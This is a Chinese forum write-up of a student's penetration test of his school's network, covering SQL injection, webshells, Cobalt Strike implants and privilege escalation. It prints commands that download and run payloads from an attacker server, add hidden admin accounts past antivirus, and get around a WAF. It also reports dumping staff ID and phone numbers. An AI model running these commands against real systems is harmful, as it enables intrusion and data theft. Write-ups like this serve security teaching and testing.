问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
实战 | 对自己学校内网的渗透测试
渗透测试
一直以来都想拿自己学校的内网练练手,跟负责网安的老师说了一声后,回去直接开搞。这里作了比较详细的记录,希望大家能多多指点。
### **一、图书馆管理系统** #### 1.1 SQL注入开启xp\_cmdshell 1.1.1 首先是图书馆管理系统,这个系统是开在公网的。目录扫描发现Web Api Help接口文档泄露。我们拼接上图的第二个接口,发现在szReaderID参数处传入单数个单引号,就会报错;传入双数个单引号,就会回显操作成功。证明很可能存在注入。    1.1.2 sqlmap跑一下。因为是sql server,所以可以直接--os-shell开启xp\_cmdshell来命令执行。当前的权限还很低,为了进一步提权,得上个CS马。   #### **1.2 尝试远程下载上线CS** 1.2.1 以下是一些常用的远程下载命令 `certutil -urlcache -split -f http://127.0.0.1:8080/nc.txt c:\\nc.txt //certutil下载文件` `bitsadmin /rawreturn /transfer getfile http://download.sysinternals.com/files/PSTools.zip c:\\Pstools.zip //bitsadmin下载文件` `powershell -nop -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://127.0.0.1/nc.txt','nc.exe') //powershell下载文件` `cmd /c start /min msedge.exe http://127.0.0.1/test.zip && timeout 5 && taskkill /f /t /im msedge.exe && C:/Users/%UserName%/Downloads/test.zip //msedge下载并执行` 1.2.2 tasklist /svc 看一下,发现有defender,那么我们就可以做个免杀CS马传上去。先在本地开启一个python的http服务,把马放在上面,再在sqlmap上让目标服务器执行 `powershell -nop -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://xxx.xxx.xxx.xx:8000/360safe.exe','c:\\programdata\\360safe.exe') `, 把马360safe.exe远程下载到他C盘的programdata目录下。  1.2.3 成功地传上了马,但执行木马时,却发现无法执行。后面又尝试把马放到其他几个目录执行,也还是不行。可能是权限问题。  #### **1.3 找网站根目录写shell** 1.3.1 那就写aspx的webshell到网站里吧。这里存放js的目录也是可以解析aspx的,我们可以执行命令全局搜索目标系统的js文件。 `Dir /s /b D:\\app.a1cccec9.js` 得知其该系统存放JS的目录是D:\\\\disttsg\\dist\\js 。这时我们就可以让目标服务器抓取webshell了。   1.3.2 先去浏览器访问一下shell,显示是存在的而且已经成功解析。可刚连接成功就变成404了。我心想之前没见过defender杀冰蝎马啊,感觉是有别的东西在作怪。 于是乎又用了哥斯拉不同加密方式的马,全都是刚连上就没了。正在我一筹莫展的时候,朋友提醒我可以尝试改一下冰蝎的默认密码。结果传上去再连真就不被杀了。  #### **1.4 成功上线CS提权** 1.4.1 在冰蝎的“命令执行”模块下,执行命令时回显拒绝访问。但在“虚拟终端”模块下可以正常执行。信息收集了一下发现没有域,属于工作组。于是再把CS马丢上去执行。这里终于成功上线了。  1.4.2 是台win10,CS直接getsystem。得到system令牌后直接抓hash还是会失败。于是可以使用巨龙拉冬插件的“本地提权”下的“System2Admin”功能。利用伪造的system权限,反弹一个管理员权限的会话回来。用这个管理员权限的会话就可以抓密码的哈希值啦。  #### **1.5 拿到大量数据和权限** 1.5.1 去cmd5解出了密码 ,再用超级弱口令爆破工具喷洒一下B段,发现三台服务器都是这个密码。那直接去远程连接。用windows的mstsc连接的时候会报错,我不记得具体报错是什么了,总之后面是去kali连的。kali自带的远程连接工具有xfreerdp和rdesktop,我比较喜欢前者。 `xfreerdp /u:Administrator /p:Password123 /v:xxx.xxx.xxx.xxx /size:80%`  1.5.2 在其中一台服务器的桌面上发现了一个神秘的文本文档,打开以后发现明显是一串密码。   1.5.3 用上面的密码尝试登录这台服务器上面运行的WEB系统,果不其然登录成功,拿下全校教室电源和多媒体控制权。   1.5.4 关杀软后把searchall丢到服务器上,收集一下敏感文件以及浏览器缓存的信息。这里从浏览器缓存中得到了服务器管理员的校园网账号密码。   工具链接: <https://github.com/Naturehi666/searchall> 1.5.5 第二台机器是win2008server,上面宝塔面板搭建的网站早已废弃,也没啥敏感信息。在第三台win10中同样找到了一些web的密码,成功登录我们学院的教学实训平台管理端。   1.5.6 丢CS马到第三台服务器上,用CS插件收集navicat和xshell的缓存密码,拿下2个mysql数据库和4台linux主机。     ### **二、违规联网检测系统** #### **2.1 接口未授权得到管理员密码** 2.1.1 开局经典登录框,登陆包的密码被加密了不好爆破。这种vue.js框架的系统可以多去找一下js接口未授权,经过一番测试,发现/api/v1/system/user接口泄露了管理员密码。这里忘记截图了。  2.1.2 进去发现这个系统记录着全校学生的“科学上网”记录,以及访问违法网站、境外网站的详细记录(难绷)。  #### **2.2 sql注入到udf提权** 2.2.1 挂上burpsuite的被动插件xiasql在后台东点西点,很快发现 /api/v1/toolAct/findAgg?orderBy= 这里存在注入。而且这个接口也是未授权,不登录也能直接访问,所以可以把url直接丢sqlmap跑。  2.2.2 拿到密码的哈希后,请了有cmd5会员的同学帮我解,然后直接navicat连接。   2.2.3 如上图所示, `show variables like 'secure_file_priv'`,发现输出为空,证明这个数据库有任意目录读写的权限。`show variables like '%version_%'`,得知服务器是32位的windows。 那么就可以使用`sqlmap -d "mysql://root:密码@xxx.xxx.xxx.xxx:3306/mysql" --random-agent --os-shell` 尝试UDF提权。   #### **2.3 绕过火绒添加用户** 2.3.1 提权成功,有了system权限,可以尝试添加用户远程连接。 `net user newuser password123 /add` `net localgroup administrators newuser /add` 但添加用户时又回显超时,想起来应该是有杀软在拦截命令行添加用户。一看果不其然,有火绒。  2.3.2 可以使用如下方法绕过火绒添加用户。我们可以编写一个.bat命令批处理脚本,内容如下: `copy c:\windows\system32\net1.exe d:\update.exe` `d:\update.exe user newuser password123 /ad` `net localgroup administrators newuser /ad`  意为将net1.exe复制到D盘并重命名为update.exe,用这个update.exe来新增用户。这里注意不能用net.exe,会被拦截,用net1.exe才行。/add可以用/ad替代。若将这里的update.exe 放在C盘的目录也不能成功执行,本地测试仍会被火绒拦,如下图所示。所以最好将其添加到非系统盘。(最后要记得删除)  2.3.3 执行命令,让服务器抓取我们的脚本,然后执行。这里一定不能用certutil命令下载,火绒会拦截。 `powershell -nop -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://xxx.xxx.xxx.xxx:8000/1.bat','d:\1.bat')` 最后也是很顺利地绕过火绒添加了用户,远程连接成功。  2.3.4 searchall收集了一批密码,上面有些web已经没了,剩下的登上去也没有什么东西。mimikatz抓了本机密码,可惜也没喷洒出相同密码的服务器。(下图厚码保命)  2.3.5 这台服务器的9200端口还有Elastic未授权,可以用ElasticHD进行可视化管理。   工具链接: <https://github.com/qax-os/ElasticHD> ### **三、网络报修登记系统** #### **3.1 注入得到全校教师SFZ号** 3.1.1 下面去看看这个报修系统。路径一删发现目录遍历,但未授权访问进去的页面都静态的,点击不了功能点。   3.1.2 但在未授权访问的页面里,用findsomething插件发现了/api/getPageData.php这个路径,拼接发现可以正常回显报修信息。   3.1.3 像这种回显json格式数据的路径一般都有传参的。fuzz一下常见参数,如id、date、page等,发现通通没有。上个参数字典爆破一下,最后发现有filter这个参数。  3.1.4 加单引号报错,直接上sqlmap。一番查找后从某表中dump出了全校教职工的身份证号和手机号,共有几千条。可惜不能堆叠查询,password也解不出。    #### **3.2 accesskey和accessecret泄露** 3.2.1 扫下目录,发现了/controller/ ,打开又是同样的目录遍历。   3.2.2 在reset\_HT\_ETL\_log.py 发现数据库密码,以及阿里云的accesskey,accessecret泄露。  3.2.3 满怀期待地去ossbrowser登录,点进去却发现云资产空空如也,并没有实例。得到了数据库密码,但数据库端口没有开放。扫了一下全端口也没有发现,于是没能往下继续。  工具链接: <https://github.com/aliyun/oss-browser> ### **四、会计实训系统** #### **4.1 .net ueditor 文件上传** 4.1.1 下面是一个会计实训系统,目录扫描发现了.net的ueditor。  4.1.2 这里的漏洞利用不需要构造html上传页面,可以使用较为简单的方法上马。我们可以在VPS开启一个http服务,将冰蝎马的后缀由aspx改成jpg,即security.jpg。然后将图片马投放到http服务器上。  4.1.3 我们再用火狐插件hackbar发送post请求,post请求体为`source[]=http://xxx.xxx.xxx.xxx/security.jpg?.aspx`。 这里发送后会直接被WAF重置连接。我们可以改成`source[]=http://xxx.xxx.xxx.xxx/security.jpg?.a?s?p?x` 绕过WAF,让目标抓取我们http服务器上的图片马并解析。  4.1.4 连上冰蝎后丢免杀CS马进去,上线成功但无法提权。   ### **五、剩下的一些其他成果** #### **5.1 简单的文件上传** 5.1.1 简单的前端验证,禁用JS上马。  5.1.2 该服务器不出网,也ping不通我连着校园网的主机。搞个MSF的正向马,做一下免杀上线MSF。其上面有360全家桶和我第一次见的诺顿杀毒,令牌没有高权限的,一提权马就被杀,最后没能提权。   #### **5.2 网络设备RCE 写马** 5.2.1 某网络设备ping功能点存在RCE,找到根目录后手工写马拿了一台。   #### **5.3 Shiro一把梭**  ### **六、后续** 6.1 最后再把那些弱口令、未授权、任意文件下载、XSS之类的小洞整合一下,硬是整出了127页的渗透报告。整理好后发给了老师,结果这回复是我没想到的。  6.2 难绷。掉小珍珠了。 
发表于 2024-08-20 14:32:36
阅读 ( 5392 )
分类:
渗透测试
18 推荐
收藏
4 条评论
一朵花花酱
2024-08-20 16:27
666~~~
请先
登录
后评论
海岩
2024-08-23 17:33
列害
请先
登录
后评论
低追王子
2024-08-27 10:30
老师:早点停止,再干下去工作不保了
请先
登录
后评论
test12345
2024-09-04 17:05
你搞这么多洞,修起来费老师。
请先
登录
后评论
请先
登录
后评论
越南王子
2 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!